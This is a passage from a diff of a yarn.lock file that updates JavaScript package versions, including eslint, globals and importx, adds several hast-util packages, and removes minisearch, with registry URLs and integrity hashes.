-  integrity sha512-t4MNCetPjTn18/fUDlQ/wKkcYjnuLYKChBrZ0qUaNqRigVqChHWzTP8SrfFi5s4keX3vdlkWRSu8zHJMdKwxWQ==
+  version "1.17.0"
+  resolved "https://registry.yarnpkg.com/eslint-plugin-yml/-/eslint-plugin-yml-1.17.0.tgz#5e1e0ca307c7a2c6db2273696c528c3487538466"
+  integrity sha512-Q3LXFRnNpGYAK/PM0BY1Xs0IY1xTLfM0kC986nNQkx1l8tOGz+YS50N6wXkAJkrBpeUN9OxEMB7QJ+9MTDAqIQ==
   dependencies:
     debug "^4.3.2"
+    escape-string-regexp "4.0.0"
     eslint-compat-utils "^0.6.0"
-    lodash "^4.17.21"
     natural-compare "^1.4.0"
     yaml-eslint-parser "^1.2.1"
 
@@ -6085,9 +6043,9 @@ eslint-visitor-keys@^4.2.0:
   integrity sha512-UyLnSehNt62FFhSwjZlHmeokpRK59rcz29j+F1/aDgbkbRTk7wIc9XzdoasMUbRNKDM0qQt/+BJ4BrpFeABemw==
 
 eslint@^9.12.0:
-  version "9.20.0"
-  resolved "https://registry.yarnpkg.com/eslint/-/eslint-9.20.0.tgz#6244c46c1640cd5e577a31ebc460fca87838c0b7"
-  integrity sha512-aL4F8167Hg4IvsW89ejnpTwx+B/UQRzJPGgbIOl+4XqffWsahVVsLEWoZvnrVuwpWmnRd7XeXmQI1zlKcFDteA==
+  version "9.20.1"
+  resolved "https://registry.yarnpkg.com/eslint/-/eslint-9.20.1.tgz#923924c078f5226832449bac86662dd7e53c91d6"
+  integrity sha512-m1mM33o6dBUjxl2qb6wv6nGNwCAsns1eKtaQ4l/NPHeTvhiUPbtdfMyktxN4B3fgHIgsYh1VT3V9txblpQHq+g==
   dependencies:
     "@eslint-community/eslint-utils" "^4.2.0"
     "@eslint-community/regexpp" "^4.12.1"
@@ -6329,7 +6287,7 @@ fastq@^1.15.0, fastq@^1.6.0:
   dependencies:
     reusify "^1.0.4"
 
-fdir@^6.2.0, fdir@^6.4.2:
+fdir@^6.2.0, fdir@^6.4.2, fdir@^6.4.3:
   version "6.4.3"
   resolved "https://registry.yarnpkg.com/fdir/-/fdir-6.4.3.tgz#011cdacf837eca9b811c89dbb902df714273db72"
   integrity sha512-PMXmW2y1hDDfTSRc9gaXIuCCRpuoz3Kaz8cUelp3smouvfT632ozg2vrT6lJsHKKOF59YLbOGfAWGUcKEfRMQw==
@@ -6431,9 +6389,9 @@ flat@^6.0.1:
   integrity sha512-/3FfIa8mbrg3xE7+wAhWeV+bd7L2Mof+xtZb5dRDKZ+wDvYJK4WDYeIOuOhre5Yv5aQObZrlbRmk3RTSiuQBtw==
 
 flatted@^3.2.9, flatted@^3.3.2:
-  version "3.3.2"
-  resolved "https://registry.yarnpkg.com/flatted/-/flatted-3.3.2.tgz#adba1448a9841bec72b42c532ea23dbbedef1a27"
-  integrity sha512-AiwGJM8YcNOaobumgtng+6NHuOqC3A7MixFeDafM3X9cIUM+xUXoS5Vfgf+OihAYe20fxqNM9yPBXJzRtZ/4eA==
+  version "3.3.3"
+  resolved "https://registry.yarnpkg.com/flatted/-/flatted-3.3.3.tgz#67c8fad95454a7c7abebf74bb78ee74a44023358"
+  integrity sha512-GX+ysw4PBCz0PzosHDepZGANEuFCMLrnRTiEy9McGjmkCQYwRq4A/X786G/fjM/+OjsWSU1ZrY5qyARZmO/uwg==
 
 focus-trap@^7.6.2:
   version "7.6.4"
@@ -6544,7 +6502,7 @@ function-timeout@^1.0.1:
   resolved "https://registry.yarnpkg.com/function-timeout/-/function-timeout-1.0.2.tgz#e5a7b6ffa523756ff20e1231bbe37b5f373aadd5"
   integrity sha512-939eZS4gJ3htTHAldmyyuzlrD58P03fHG49v2JfFXbV6OhvZKRC9j2yAtdHw/zrp2zXHuv05zMIy40F0ge7spA==
 
-fuse.js@^7.0.0:
+fuse.js@^7.1.0:
   version "7.1.0"
   resolved "https://registry.yarnpkg.com/fuse.js/-/fuse.js-7.1.0.tgz#306228b4befeee11e05b027087c2744158527d09"
   integrity sha512-trLf4SzuuUxfusZADLINj+dE8clK1frKdmqiJNb1Es75fmI5oY6X2mxLVUciLLjxqw/xr72Dhy+lER6dGd02FQ==
@@ -6626,17 +6584,17 @@ git-log-parser@^1.2.0:
     traverse "0.6.8"
 
 git-up@^8.0.0:
-  version "8.0.0"
-  resolved "https://registry.yarnpkg.com/git-up/-/git-up-8.0.0.tgz#674d398f95c4f70b4193f3f3d87c73cf28c2bee1"
-  integrity sha512-uBI8Zdt1OZlrYfGcSVroLJKgyNNXlgusYFzHk614lTasz35yg2PVpL1RMy0LOO2dcvF9msYW3pRfUSmafZNrjg==
+  version "8.0.1"
+  resolved "https://registry.yarnpkg.com/git-up/-/git-up-8.0.1.tgz#2a82cfbc77b5eb04074ab1e48593911981654fc7"
+  integrity sha512-2XFu1uNZMSjkyetaF+8rqn6P0XqpMq/C+2ycjI6YwrIKcszZ5/WR4UubxjN0lILOKqLkLaHDaCr2B6fP1cke6g==
   dependencies:
     is-ssh "^1.4.0"
     parse-url "^9.2.0"
 
-git-url-parse@^16.0.0:
-  version "16.0.0"
-  resolved "https://registry.yarnpkg.com/git-url-parse/-/git-url-parse-16.0.0.tgz#04dcc54197ad9aa2c92795b32be541d217c11f70"
-  integrity sha512-Y8iAF0AmCaqXc6a5GYgPQW9ESbncNLOL+CeQAJRhmWUOmnPkKpBYeWYp4mFd3LA5j53CdGDdslzX12yEBVHQQg==
+git-url-parse@^16.0.0, git-url-parse@^16.0.1:
+  version "16.0.1"
+  resolved "https://registry.yarnpkg.com/git-url-parse/-/git-url-parse-16.0.1.tgz#8a2b15ceafd29342e42a3d056a771fb9007bf5ae"
+  integrity sha512-mcD36GrhAzX5JVOsIO52qNpgRyFzYWRbU1VSRFCvJt1IJvqfvH427wWw/CFqkWvjVPtdG5VTx4MKUeC5GeFPDQ==
   dependencies:
     git-up "^8.0.0"
 
@@ -6713,9 +6671,9 @@ globals@^14.0.0:
   integrity sha512-oahGvuMGQlPw/ivIYBjVSrWAfWLBeku5tpPE2fOPLi+WHffIWbuh2tCjhyQhTBPMf5E9jDEH4FOmTYgYwbKwtQ==
 
 globals@^15.14.0, globals@^15.7.0, globals@^15.9.0:
-  version "15.14.0"
-  resolved "https://registry.yarnpkg.com/globals/-/globals-15.14.0.tgz#b8fd3a8941ff3b4d38f3319d433b61bbb482e73f"
-  integrity sha512-OkToC372DtlQeje9/zHIo5CT8lRP/FUgEOKBEhU4e0abL7J7CD24fD9ohiLN5hagG/kWCYj4K5oaxxtj2Z0Dig==
+  version "15.15.0"
+  resolved "https://registry.yarnpkg.com/globals/-/globals-15.15.0.tgz#7c4761299d41c32b075715a4ce1ede7897ff72a8"
+  integrity sha512-7ACyT3wmyp3I61S4fG682L0VA2RGD9otkqGJIwNUMF1SWUombIIk+af1unuDYgMm082aHYwD+mzJvv9Iu8dsgg==
 
 globby@^14.0.0, globby@^14.0.2:
   version "14.1.0"
@@ -6763,7 +6721,7 @@ h3-compression@^0.3.2:
   resolved "https://registry.yarnpkg.com/h3-compression/-/h3-compression-0.3.2.tgz#2d5e803a0a51fabf32deb34fa82e108577f6922b"
   integrity sha512-B+yCKyDRnO0BXSfjAP4tCXJgJwmnKp3GyH5Yh66mY9KuOCrrGQSPk/gBFG2TgH7OyB/6mvqNZ1X0XNVuy0qRsw==
 
-h3@^1.10.0, h3@^1.12.0, h3@^1.13.0, h3@^1.13.1, h3@^1.14.0:
+h3@^1.10.0, h3@^1.12.0, h3@^1.13.0, h3@^1.14.0, h3@^1.15.0:
   version "1.15.0"
   resolved "https://registry.yarnpkg.com/h3/-/h3-1.15.0.tgz#1a149cbe8c0418691cae331d5744c0c65fbf42b3"
   integrity sha512-OsjX4JW8J4XGgCgEcad20pepFQWnuKH+OwkCJjogF3C+9AZ1iYdtB4hX6vAb5DskBiu5ljEXqApINjR8CqoCMQ==
@@ -6813,20 +6771,48 @@ hasown@^2.0.2:
   dependencies:
     function-bind "^1.1.2"
 
+hast-util-embedded@^3.0.0:
+  version "3.0.0"
+  resolved "https://registry.yarnpkg.com/hast-util-embedded/-/hast-util-embedded-3.0.0.tgz#be4477780fbbe079cdba22982e357a0de4ba853e"
+  integrity sha512-naH8sld4Pe2ep03qqULEtvYr7EjrLK2QHY8KJR6RJkTUjPGObe1vnx585uzem2hGra+s1q08DZZpfgDVYRbaXA==
+  dependencies:
+    "@types/hast" "^3.0.0"
+    hast-util-is-element "^3.0.0"
+
+hast-util-format@^1.1.0:
+  version "1.1.0"
+  resolved "https://registry.yarnpkg.com/hast-util-format/-/hast-util-format-1.1.0.tgz#373e77382e07deb04f6676f1b4437e7d8549d985"
+  integrity sha512-yY1UDz6bC9rDvCWHpx12aIBGRG7krurX0p0Fm6pT547LwDIZZiNr8a+IHDogorAdreULSEzP82Nlv5SZkHZcjA==
+  dependencies:
+    "@types/hast" "^3.0.0"
+    hast-util-embedded "^3.0.0"
+    hast-util-minify-whitespace "^1.0.0"
+    hast-util-phrasing "^3.0.0"
+    hast-util-whitespace "^3.0.0"
+    html-whitespace-sensitive-tag-names "^3.0.0"
+    unist-util-visit-parents "^6.0.0"
+
 hast-util-from-parse5@^8.0.0:
-  version "8.0.2"
-  resolved "https://registry.yarnpkg.com/hast-util-from-parse5/-/hast-util-from-parse5-8.0.2.tgz#29b42758ba96535fd6021f0f533c000886c0f00f"
-  integrity sha512-SfMzfdAi/zAoZ1KkFEyyeXBn7u/ShQrfd675ZEE9M3qj+PMFX05xubzRyF76CCSJu8au9jgVxDV1+okFvgZU4A==
+  version "8.0.3"
+  resolved "https://registry.yarnpkg.com/hast-util-from-parse5/-/hast-util-from-parse5-8.0.3.tgz#830a35022fff28c3fea3697a98c2f4cc6b835a2e"
+  integrity sha512-3kxEVkEKt0zvcZ3hCRYI8rqrgwtlIOFMWkbclACvjlDw8Li9S2hk/d51OI0nr/gIpdMHNepwgOKqZ/sy0Clpyg==
   dependencies:
     "@types/hast" "^3.0.0"
     "@types/unist" "^3.0.0"
     devlop "^1.0.0"
     hastscript "^9.0.0"
-    property-information "^6.0.0"
+    property-information "^7.0.0"
     vfile "^6.0.0"
     vfile-location "^5.0.0"
     web-namespaces "^2.0.0"
 
+hast-util-has-property@^3.0.0:
+  version "3.0.0"
+  resolved "https://registry.yarnpkg.com/hast-util-has-property/-/hast-util-has-property-3.0.0.tgz#4e595e3cddb8ce530ea92f6fc4111a818d8e7f93"
+  integrity sha512-MNilsvEKLFpV604hwfhVStK0usFY/QmM5zX16bo7EjnAEGofr5YyI37kzopBlZJkHD4t887i+q/C8/tr5Q94cA==
+  dependencies:
+    "@types/hast" "^3.0.0"
+
 hast-util-heading-rank@^3.0.0:
   version "3.0.0"
   resolved "https://registry.yarnpkg.com/hast-util-heading-rank/-/hast-util-heading-rank-3.0.0.tgz#2d5c6f2807a7af5c45f74e623498dd6054d2aba8"
@@ -6834,6 +6820,13 @@ hast-util-heading-rank@^3.0.0:
   dependencies:
     "@types/hast" "^3.0.0"
 
+hast-util-is-body-ok-link@^3.0.0:
+  version "3.0.1"
+  resolved "https://registry.yarnpkg.com/hast-util-is-body-ok-link/-/hast-util-is-body-ok-link-3.0.1.tgz#ef63cb2f14f04ecf775139cd92bda5026380d8b4"
+  integrity sha512-0qpnzOBLztXHbHQenVB8uNuxTnm/QBFUOmdOSsEn7GnBtyY07+ENTWVFBAnXd/zEgd9/SUG3lRY7hSIBWRgGpQ==
+  dependencies:
+    "@types/hast" "^3.0.0"
+
 hast-util-is-element@^3.0.0:
   version "3.0.0"
   resolved "https://registry.yarnpkg.com/hast-util-is-element/-/hast-util-is-element-3.0.0.tgz#6e31a6532c217e5b533848c7e52c9d9369ca0932"
@@ -6841,6 +6834,17 @@ hast-util-is-element@^3.0.0:
   dependencies:
     "@types/hast" "^3.0.0"
 
+hast-util-minify-whitespace@^1.0.0:
+  version "1.0.1"
+  resolved "https://registry.yarnpkg.com/hast-util-minify-whitespace/-/hast-util-minify-whitespace-1.0.1.tgz#7588fd1a53f48f1d30406b81959dffc3650daf55"
+  integrity sha512-L96fPOVpnclQE0xzdWb/D12VT5FabA7SnZOUMtL1DbXmYiHJMXZvFkIZfiMmTCNJHUeO2K9UYNXoVyfz+QHuOw==
+  dependencies:
+    "@types/hast" "^3.0.0"
+    hast-util-embedded "^3.0.0"
+    hast-util-is-element "^3.0.0"
+    hast-util-whitespace "^3.0.0"
+    unist-util-is "^6.0.0"
+
 hast-util-parse-selector@^4.0.0:
   version "4.0.0"
   resolved "https://registry.yarnpkg.com/hast-util-parse-selector/-/hast-util-parse-selector-4.0.0.tgz#352879fa86e25616036037dd8931fb5f34cb4a27"
@@ -6848,6 +6852,17 @@ hast-util-parse-selector@^4.0.0:
   dependencies:
     "@types/hast" "^3.0.0"
 
+hast-util-phrasing@^3.0.0:
+  version "3.0.1"
+  resolved "https://registry.yarnpkg.com/hast-util-phrasing/-/hast-util-phrasing-3.0.1.tgz#fa284c0cd4a82a0dd6020de8300a7b1ebffa1690"
+  integrity sha512-6h60VfI3uBQUxHqTyMymMZnEbNl1XmEGtOxxKYL7stY2o601COo62AWAYBQR9lZbYXYSBoxag8UpPRXK+9fqSQ==
+  dependencies:
+    "@types/hast" "^3.0.0"
+    hast-util-embedded "^3.0.0"
+    hast-util-has-property "^3.0.0"
+    hast-util-is-body-ok-link "^3.0.0"
+    hast-util-is-element "^3.0.0"
+
 hast-util-raw@^9.0.0:
   version "9.1.0"
   resolved "https://registry.yarnpkg.com/hast-util-raw/-/hast-util-raw-9.1.0.tgz#79b66b26f6f68fb50dfb4716b2cdca90d92adf2e"
@@ -6867,10 +6882,10 @@ hast-util-raw@^9.0.0:
     web-namespaces "^2.0.0"
     zwitch "^2.0.0"
 
-hast-util-to-html@^9.0.3, hast-util-to-html@^9.0.4:
-  version "9.0.4"
-  resolved "https://registry.yarnpkg.com/hast-util-to-html/-/hast-util-to-html-9.0.4.tgz#d689c118c875aab1def692c58603e34335a0f5c5"
-  integrity sha512-wxQzXtdbhiwGAUKrnQJXlOPmHnEehzphwkK7aluUPQ+lEc1xefC8pblMgpp2w5ldBTEfveRIrADcrhGIWrlTDA==
+hast-util-to-html@^9.0.0, hast-util-to-html@^9.0.3, hast-util-to-html@^9.0.4:
+  version "9.0.5"
+  resolved "https://registry.yarnpkg.com/hast-util-to-html/-/hast-util-to-html-9.0.5.tgz#ccc673a55bb8e85775b08ac28380f72d47167005"
+  integrity sha512-OguPdidb+fbHQSU4Q4ZiLKnzWo8Wwsf5bZfbvu7//a9oTYoqD/fWpe96NuHkoS9h0ccGOTe0C4NGXdtS0iObOw==
   dependencies:
     "@types/hast" "^3.0.0"
     "@types/unist" "^3.0.0"
@@ -6879,11 +6894,31 @@ hast-util-to-html@^9.0.3, hast-util-to-html@^9.0.4:
     hast-util-whitespace "^3.0.0"
     html-void-elements "^3.0.0"
     mdast-util-to-hast "^13.0.0"
-    property-information "^6.0.0"
+    property-information "^7.0.0"
     space-separated-tokens "^2.0.0"
     stringify-entities "^4.0.0"
     zwitch "^2.0.4"
 
+hast-util-to-mdast@^10.0.0, hast-util-to-mdast@^10.1.1:
+  version "10.1.2"
+  resolved "https://registry.yarnpkg.com/hast-util-to-mdast/-/hast-util-to-mdast-10.1.2.tgz#bc76f7f5f72f2cde4d6a66ad4cd0aba82bb79909"
+  integrity sha512-FiCRI7NmOvM4y+f5w32jPRzcxDIz+PUqDwEqn1A+1q2cdp3B8Gx7aVrXORdOKjMNDQsD1ogOr896+0jJHW1EFQ==
+  dependencies:
+    "@types/hast" "^3.0.0"
+    "@types/mdast" "^4.0.0"
+    "@ungap/structured-clone" "^1.0.0"
+    hast-util-phrasing "^3.0.0"
+    hast-util-to-html "^9.0.0"
+    hast-util-to-text "^4.0.0"
+    hast-util-whitespace "^3.0.0"
+    mdast-util-phrasing "^4.0.0"
+    mdast-util-to-hast "^13.0.0"
+    mdast-util-to-string "^4.0.0"
+    rehype-minify-whitespace "^6.0.0"
+    trim-trailing-lines "^2.0.0"
+    unist-util-position "^5.0.0"
+    unist-util-visit "^5.0.0"
+
 hast-util-to-parse5@^8.0.0:
   version "8.0.0"
   resolved "https://registry.yarnpkg.com/hast-util-to-parse5/-/hast-util-to-parse5-8.0.0.tgz#477cd42d278d4f036bc2ea58586130f6f39ee6ed"
@@ -6904,6 +6939,16 @@ hast-util-to-string@^3.0.0, hast-util-to-string@^3.0.1:
   dependencies:
     "@types/hast" "^3.0.0"
 
+hast-util-to-text@^4.0.0:
+  version "4.0.2"
+  resolved "https://registry.yarnpkg.com/hast-util-to-text/-/hast-util-to-text-4.0.2.tgz#57b676931e71bf9cb852453678495b3080bfae3e"
+  integrity sha512-KK6y/BN8lbaq654j7JgBydev7wuNMcID54lkRav1P0CaE1e47P72AWWPiGKXTJU271ooYzcvTAn/Zt0REnvc7A==
+  dependencies:
+    "@types/hast" "^3.0.0"
+    "@types/unist" "^3.0.0"
+    hast-util-is-element "^3.0.0"
+    unist-util-find-after "^5.0.0"
+
 hast-util-whitespace@^3.0.0:
   version "3.0.0"
   resolved "https://registry.yarnpkg.com/hast-util-whitespace/-/hast-util-whitespace-3.0.0.tgz#7778ed9d3c92dd9e8c5c8f648a49c21fc51cb621"
@@ -6912,16 +6957,21 @@ hast-util-whitespace@^3.0.0:
     "@types/hast" "^3.0.0"
 
 hastscript@^9.0.0:
-  version "9.0.0"
-  resolved "https://registry.yarnpkg.com/hastscript/-/hastscript-9.0.0.tgz#2b76b9aa3cba8bf6d5280869f6f6f7165c230763"
-  integrity sha512-jzaLBGavEDKHrc5EfFImKN7nZKKBdSLIdGvCwDZ9TfzbF2ffXiov8CKE445L2Z1Ek2t/m4SKQ2j6Ipv7NyUolw==
+  version "9.0.1"
+  resolved "https://registry.yarnpkg.com/hastscript/-/hastscript-9.0.1.tgz#dbc84bef6051d40084342c229c451cd9dc567dff"
+  integrity sha512-g7df9rMFX/SPi34tyGCyUBREQoKkapwdY/T04Qn9TDWfHhAYt4/I0gMVirzK5wEzeUqIjEB+LXC/ypb7Aqno5w==
   dependencies:
     "@types/hast" "^3.0.0"
     comma-separated-tokens "^2.0.0"
     hast-util-parse-selector "^4.0.0"
-    property-information "^6.0.0"
+    property-information "^7.0.0"
     space-separated-tokens "^2.0.0"
 
+he@^1.2.0:
+  version "1.2.0"
+  resolved "https://registry.yarnpkg.com/he/-/he-1.2.0.tgz#84ae65fa7eafb165fddb61566ae14baf05664f0f"
+  integrity sha512-F/1DnUGPopORZi0ni+CvrCgHQ5FyEAHRLSApuYWMmrbSwoN2Mn/7k+Gl38gJnR7yyDZk6WLXwiGod1JOWNDKGw==
+
 hex-rgb@^4.1.0:
   version "4.3.0"
   resolved "https://registry.yarnpkg.com/hex-rgb/-/hex-rgb-4.3.0.tgz#af5e974e83bb2fefe44d55182b004ec818c07776"
@@ -6971,6 +7021,11 @@ html-void-elements@^3.0.0:
   resolved "https://registry.yarnpkg.com/html-void-elements/-/html-void-elements-3.0.0.tgz#fc9dbd84af9e747249034d4d62602def6517f1d7"
   integrity sha512-bEqo66MRXsUGxWHV5IP0PUiAWwoEjba4VCzg0LjFJBpchPaTfyfCKTG6bc5F8ucKec3q5y6qOdGyYTSBEvhCrg==
 
+html-whitespace-sensitive-tag-names@^3.0.0:
+  version "3.0.1"
+  resolved "https://registry.yarnpkg.com/html-whitespace-sensitive-tag-names/-/html-whitespace-sensitive-tag-names-3.0.1.tgz#c35edd28205f3bf8c1fd03274608d60b923de5b2"
+  integrity sha512-q+310vW8zmymYHALr1da4HyXUQ0zgiIwIicEfotYPWGN0OJVEN/58IJ3A4GBYcEq3LGAZqKb+ugvP0GNB9CEAA==
+
 htmlparser2@^9.1.0:
   version "9.1.0"
   resolved "https://registry.yarnpkg.com/htmlparser2/-/htmlparser2-9.1.0.tgz#cdb498d8a75a51f739b61d3f718136c369bc8c23"
@@ -7116,15 +7171,15 @@ import-meta-resolve@^4.0.0:
   integrity sha512-I6fiaX09Xivtk+THaMfAwnA3MVA5Big1WHF1Dfx9hFuvNIWpXnorlkzhcQf6ehrqQiiZECRt1poOAkPmer3ruw==
 
 importx@^0.5.1:
-  version "0.5.1"
-  resolved "https://registry.yarnpkg.com/importx/-/importx-0.5.1.tgz#ca74040a997ca9363dc70563ad7697b83a111d04"
-  integrity sha512-YrRaigAec1sC2CdIJjf/hCH1Wp9Ii8Cq5ROw4k5nJ19FVl2FcJUHZ5gGIb1vs8+JNYIyOJpc2fcufS2330bxDw==
+  version "0.5.2"
+  resolved "https://registry.yarnpkg.com/importx/-/importx-0.5.2.tgz#db5f142d10e1c2a10f4ae14d69d1e6a8bf2c86f8"
+  integrity sha512-YEwlK86Ml5WiTxN/ECUYC5U7jd1CisAVw7ya4i9ZppBoHfFkT2+hChhr3PE2fYxUKLkNyivxEQpa5Ruil1LJBQ==
   dependencies:
-    bundle-require "^5.0.0"
+    bundle-require "^5.1.0"
     debug "^4.4.0"
-    esbuild "^0.20.2 || ^0.21.0 || ^0.22.0 || ^0.23.0 || ^0.24.0"
-    jiti "^2.4.1"
-    pathe "^1.1.2"
+    esbuild "^0.20.2 || ^0.21.0 || ^0.22.0 || ^0.23.0 || ^0.24.0 || ^0.25.0"
+    jiti "^2.4.2"
+    pathe "^2.0.3"
     tsx "^4.19.2"
 
 impound@^0.2.0:
@@ -7315,9 +7370,9 @@ is-builtin-module@^3.2.1:
     builtin-modules "^3.3.0"
 
 is-cidr@^5.1.0:
-  version "5.1.0"
-  resolved "https://registry.yarnpkg.com/is-cidr/-/is-cidr-5.1.0.tgz#36f2d059f43f9b14f132745a2eec18c996df2f35"
-  integrity sha512-OkVS+Ht2ssF27d48gZdB+ho1yND1VbkJRKKS6Pc1/Cw7uqkd9IOJg8/bTwBDQL6tfBhSdguPRnlGiE8pU/X5NQ==
+  version "5.1.1"
+  resolved "https://registry.yarnpkg.com/is-cidr/-/is-cidr-5.1.1.tgz#83ec462922c2b9209bc64794c4e3b2a890d23994"
+  integrity sha512-AwzRMjtJNTPOgm7xuYZ71715z99t+4yRnSnSzgK5err5+heYi4zMuvmpUadaJ28+KCXCQo8CjUrKQZRWSPmqTQ==
   dependencies:
     cidr-regex "^4.1.1"
 
@@ -7418,9 +7473,9 @@ is-reference@1.2.1:
     "@types/estree" "*"
 
 is-ssh@^1.4.0:
-  version "1.4.0"
-  resolved "https://registry.yarnpkg.com/is-ssh/-/is-ssh-1.4.0.tgz#4f8220601d2839d8fa624b3106f8e8884f01b8b2"
-  integrity sha512-x7+VxdxOdlV3CYpjvRLBv5Lo9OJerlYanjwFrPR9fuGPjCiNiCzFgAWpiLAohSbsnH4ZAys3SBh+hq5rJosxUQ==
+  version "1.4.1"
+  resolved "https://registry.yarnpkg.com/is-ssh/-/is-ssh-1.4.1.tgz#76de1cdbe8f92a8b905d1a172b6bc09704c20396"
+  integrity sha512-JNeu1wQsHjyHgn9NcWTaXq6zWSR6hqE0++zhfZlkFBbScNkyvxCdeV8sRkSBaeLKxmbpR21brail63ACNxJ0Tg==
   dependencies:
     protocols "^2.0.1"
 
@@ -7695,9 +7750,9 @@ langium@3.0.0:
     vscode-uri "~3.0.8"
 
 launch-editor@^2.9.1:
-  version "2.9.1"
-  resolved "https://registry.yarnpkg.com/launch-editor/-/launch-editor-2.9.1.tgz#253f173bd441e342d4344b4dae58291abb425047"
-  integrity sha512-Gcnl4Bd+hRO9P9icCP/RVVT2o8SFlPXofuCxvA2SaZuH45whSvf5p8x5oih5ftLiVhEI4sp5xDY+R+b3zJBh5w==
+  version "2.10.0"
+  resolved "https://registry.yarnpkg.com/launch-editor/-/launch-editor-2.10.0.tgz#5ca3edfcb9667df1e8721310f3a40f1127d4bc42"
+  integrity sha512-D7dBRJo/qcGX9xlvt/6wUYzQxjh5G1RvZPgPv8vi4KRU99DVQL/oW7tnVOCCTm2HGeo3C5HvGE5Yrh6UBoZ0vA==
   dependencies:
     picocolors "^1.0.0"
     shell-quote "^1.8.1"
@@ -8076,7 +8131,7 @@ magic-string-ast@^0.7.0:
   dependencies:
     magic-string "^0.30.17"
 
-magic-string@^0.30.0, magic-string@^0.30.10, magic-string@^0.30.11, magic-string@^0.30.12, magic-string@^0.30.14, magic-string@^0.30.17, magic-string@^0.30.3, magic-string@^0.30.4, magic-string@^0.30.8:
+magic-string@^0.30.10, magic-string@^0.30.11, magic-string@^0.30.12, magic-string@^0.30.14, magic-string@^0.30.17, magic-string@^0.30.3, magic-string@^0.30.4, magic-string@^0.30.8:
   version "0.30.17"
   resolved "https://registry.yarnpkg.com/magic-string/-/magic-string-0.30.17.tgz#450a449673d2460e5bbcfba9a61916a1714c7453"
   integrity sha512-sNPKHvyjVf7gyjwS4xGTaW/mCnF8wnjtifKBEhxfZ7E/S8tQ0rssrwGNn6q8JH/ohItJfSQp9mBtQYuTlH5QnA==
@@ -8531,7 +8586,7 @@ micromark-util-character@^2.0.0, micromark-util-character@^2.1.1:
     micromark-util-symbol "^2.0.0"
     micromark-util-types "^2.0.0"
 
-micromark-util-chunked@^2.0.0:
+micromark-util-chunked@^2.0.0, micromark-util-chunked@^2.0.1:
   version "2.0.1"
   resolved "https://registry.yarnpkg.com/micromark-util-chunked/-/micromark-util-chunked-2.0.1.tgz#47fbcd93471a3fccab86cff03847fc3552db1051"
   integrity sha512-QUNFEOPELfmvv+4xiNg2sRYeS/P84pTW0TCgP5zc9FpXetHY0ab7SxKyAQCNCc1eK0459uoLI1y5oO5Vc1dbhA==
@@ -8589,7 +8644,7 @@ micromark-util-normalize-identifier@^2.0.0:
   dependencies:
     micromark-util-symbol "^2.0.0"
 
-micromark-util-resolve-all@^2.0.0:
+micromark-util-resolve-all@^2.0.0, micromark-util-resolve-all@^2.0.1:
   version "2.0.1"
   resolved "https://registry.yarnpkg.com/micromark-util-resolve-all/-/micromark-util-resolve-all-2.0.1.tgz#e1a2d62cdd237230a2ae11839027b19381e31e8b"
   integrity sha512-VdQyxFWFT2/FGJgwQnJYbe1jjQoNTS4RjglmSjTUlpUMa95Htx9NHeYW4rGDJzbjvCsl9eLjMQwGeElsqmzcHg==
@@ -8691,6 +8746,13 @@ min-indent@^1.0.0:
   resolved "https://registry.yarnpkg.com/min-indent/-/min-indent-1.0.1.tgz#a63f681673b30571fbe8bc25686ae746eefa9869"
   integrity sha512-I9jwMn07Sy/IwOj3zVkVik2JTvgpaykDZEigL6Rx6N9LbMywwUSMtxET+7lVoDLLd3O3IXwJwvuuns8UB/HeAg==
 
+minimatch@^10.0.1:
+  version "10.0.1"
+  resolved "https://registry.yarnpkg.com/minimatch/-/minimatch-10.0.1.tgz#ce0521856b453c86e25f2c4c0d03e6ff7ddc440b"
+  integrity sha512-ethXTt3SGGR+95gudmqJ1eNhRO7eGEGIgYA9vnPatK4/etz2MEVDno5GMCibdMTuBMyElzIlgxMna3K94XDIDQ==
+  dependencies:
+    brace-expansion "^2.0.1"
+
 minimatch@^3.0.4, minimatch@^3.1.1, minimatch@^3.1.2:
   version "3.1.2"
   resolved "https://registry.yarnpkg.com/minimatch/-/minimatch-3.1.2.tgz#19cd194bfd3e428f049a70817c038d89ab4be35b"
@@ -8780,11 +8842,6 @@ minipass@^5.0.0:
   resolved "https://registry.yarnpkg.com/minipass/-/minipass-7.1.2.tgz#93a9626ce5e5e66bd4db86849e7515e92340a707"
   integrity sha512-qOOzS1cBTWYF4BH8fVePDBOO9iptMnGUEZwNc/cMWnTV2nVLZ7VoNWEPHkYczZA0pdoA7dl6e7FL659nX9S2aw==
 
-minisearch@^7.1.0:
-  version "7.1.1"
-  resolved "https://registry.yarnpkg.com/minisearch/-/minisearch-7.1.1.tgz#901d0367f078233cdc7a10be7264e09c6248cf5f"
-  integrity sha512-b3YZEYCEH4EdCAtYP7OlDyx7FdPwNzuNwLQ34SfJpM9dlbBZzeXndGavTrC+VCiRWomL21SWfMc6SCKO/U2ZNw==
-
 minizlib@^2.1.1:
   version "2.1.2"
   resolved "https://registry.yarnpkg.com/minizlib/-/minizlib-2.1.2.tgz#e90d3466ba209b932451508a11ce3d3632145931"
@@ -8832,9 +8889,9 @@ mlly@^1.2.0, mlly@^1.3.0, mlly@^1.6.1, mlly@^1.7.1, mlly@^1.7.2, mlly@^1.7.3, ml
     ufo "^1.5.4"
 
 mrmime@^2.0.0:
-  version "2.0.0"
-  resolved "https://registry.yarnpkg.com/mrmime/-/mrmime-2.0.0.tgz#151082a6e06e59a9a39b46b3e14d5cfe92b3abb4"
-  integrity sha512-eu38+hdgojoyq63s+yTpN4XMBdt5l8HhMhc4VKLO9KM5caLIBvUm4thi7fFaxyTmCKeNnXZ5pAlBwCUnhA09uw==
+  version "2.0.1"
+  resolved "https://registry.yarnpkg.com/mrmime/-/mrmime-2.0.1.tgz#bc3e87f7987853a54c9850eeb1f1078cd44adddc"
+  integrity sha512-Y3wQdFg2Va6etvQ5I82yUhGdsKrcYox6p7FfL1LbK2J4V01F9TGlepTIhnK24t7koZibmg82KGglhA1XK5IsLQ==
 
 ms@2.0.0:
   version "2.0.0"
@@ -8846,6 +8903,11 @@ ms@2.1.3, ms@^2.1.1, ms@^2.1.2, ms@^2.1.3:
   resolved "https://registry.yarnpkg.com/ms/-/ms-2.1.3.tgz#574c8138ce1d2b5861f0b44579dbadd60c6615b2"
   integrity sha512-6FlzubTLZG3J2a/NVCAleEhjzq5oxgHyaCU9yYXvcLsvoVaHJq/s5xXI6/XXP6tz7R9xAOtHnSO/tXtF3WRTlA==
 
+muggle-string@^0.4.1:
+  version "0.4.1"
+  resolved "https://registry.yarnpkg.com/muggle-string/-/muggle-string-0.4.1.tgz#3b366bd43b32f809dc20659534dd30e7c8a0d328"
